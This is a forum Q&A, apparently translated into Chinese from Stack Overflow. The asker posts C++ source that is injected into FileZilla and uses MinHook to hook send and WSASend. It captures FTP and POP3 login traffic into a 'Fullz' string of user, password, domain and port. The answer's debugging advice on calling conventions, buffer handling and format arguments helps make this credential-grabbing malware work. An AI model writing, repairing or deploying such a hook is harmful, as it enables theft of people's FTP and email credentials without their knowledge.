我正在尝试挂钩Send / WSASend以监控流量,在messagebox中显示数据,当我挂钩以外显示带有流量的消息框时会弹出此运行时检查错误。
代码似乎编译正确,如下所示
#include "stdafx.h"
#include "MinHook.h"
#include <Windows.h>
#include <stdio.h>
#include <Wininet.h>
#include <fstream>
#include <string>
#include <vector>
#include <winsock2.h>
#include "popftphook.h"
#pragma comment (lib, "wininet")
#pragma comment(lib,"urlmon")
#pragma comment(lib, "ws2_32")
using namespace std;
LPVOID original_functionwsa = NULL;
LPVOID original_functionsend = NULL;
template <typename T>
inline MH_STATUS MH_CreateHookEx(LPVOID original, LPVOID pDetour, T** ppOriginal)
{
return MH_CreateHook(original, pDetour, reinterpret_cast<void**>(ppOriginal));
}
typedef int(*send_FuncType)(SOCKET s, const char *buf, int len, int flags);
typedef int (WINAPI *OldWSASend)(SOCKET s, LPWSABUF lpBuffers, DWORD dwBufferCount, LPDWORD lpNumberOfBytesSent, DWORD dwFlags, LPWSAOVERLAPPED lpOverlapped, LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine);
void ExportBuffer(char *buf, SOCKET s);
send_FuncType True_send = NULL;
OldWSASend TrueWSAhook1 = NULL;
void ExportBuffer(char *buf, SOCKET s)
{
char *buffer = (char*)buf;
if (strncmp(buffer, "FTP", 5) == 0 || strncmp(buffer, "POP", 5) == 0)
{
sockaddr_in peeraddr;
int size = sizeof(peeraddr);
getpeername(s, (struct sockaddr *)&peeraddr, &size);
struct sockaddr_in *s = (struct sockaddr_in *)&peeraddr;
char* IP = inet_ntoa(peeraddr.sin_addr);
int Port = (int)htons(peeraddr.sin_port);
if (IP != NULL && Port > 0)
{
char Fullz[250];
wsprintfA(Fullz, "user=%s&pwd=%s&domain=%s&port=%d&proto=POP3 or FTP", buf, inet_ntoa(peeraddr.sin_addr), Port);
MessageBoxA(0, Fullz, 0, 0);
}
}
}
int WINAPI Detoursend(SOCKET s, const char *buf, int len, int flags)
{
int hResult = True_send(s, buf, len, flags);
if (hResult > 0)
{
ExportBuffer((char*)buf, s);
}
return hResult;
}
int WINAPI HOOK_WSASend(SOCKET s, LPWSABUF lpBuffers, DWORD dwBufferCount, LPDWORD lpNumberOfBytesSent, DWORD dwFlags, LPWSAOVERLAPPED lpOverlapped, LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine)
{
int hResult = TrueWSAhook1(s, lpBuffers, dwBufferCount, lpNumberOfBytesSent, dwFlags, lpOverlapped, lpCompletionRoutine);
if (hResult > 0)
{
ExportBuffer((char*)lpBuffers->buf, s);
}
return hResult;
}
void hookSend()
{
MH_STATUS status = MH_Initialize();
original_functionsend = (LPVOID)GetProcAddress(GetModuleHandle(L"ws2_32.dll"), "send");
status = MH_CreateHookEx(original_functionsend, &Detoursend, &True_send);
status = MH_EnableHook(MH_ALL_HOOKS);
}
void hookWSApop()
{
MH_STATUS status = MH_Initialize();
original_functionsend = (LPVOID)GetProcAddress(GetModuleHandle(L"ws2_32.dll"), "WSASend");
status = MH_CreateHookEx(original_functionsend, &HOOK_WSASend, &TrueWSAhook1);
status = MH_EnableHook(MH_ALL_HOOKS);
}
void poptrigger()
{
hookSend();
hookWSApop();
}
当我注入filezilla时,我在第57行获得运行时检查错误#0。
答案 0 :(得分:3)
您的send_FuncType
typedef缺少显式调用约定,因此使用编译器的默认值(通常为__cdecl
)。 send()
使用__stdcall
调用约定(几乎每个Win32 API函数都有)。因此,在调用True_send()
时,由于调用约定不匹配,您可能会导致运行时错误。 WINAPI
宏包含__stdcall
约定,因此您的WSASend()
挂钩不会出现类似的不匹配。
此外,ExportBuffer()
有很多逻辑错误:
send()
和WSASend()
不对空终止的缓冲区进行操作(并且FTP和POP3协议中不存在空终止符),但是strncmp
和wsprintfA
操作期望以空值终止的数据。sockaddr_storage
代替sockaddr_in
,并使用InetPton()
代替inet_ntoa()
。wsprintfA()
。您有4个格式说明符,但只传递3个数据值。"FTP"
和"POP"
不会出现在这些协议中的传输数据中,那么您还在寻找什么?您需要修复这些错误。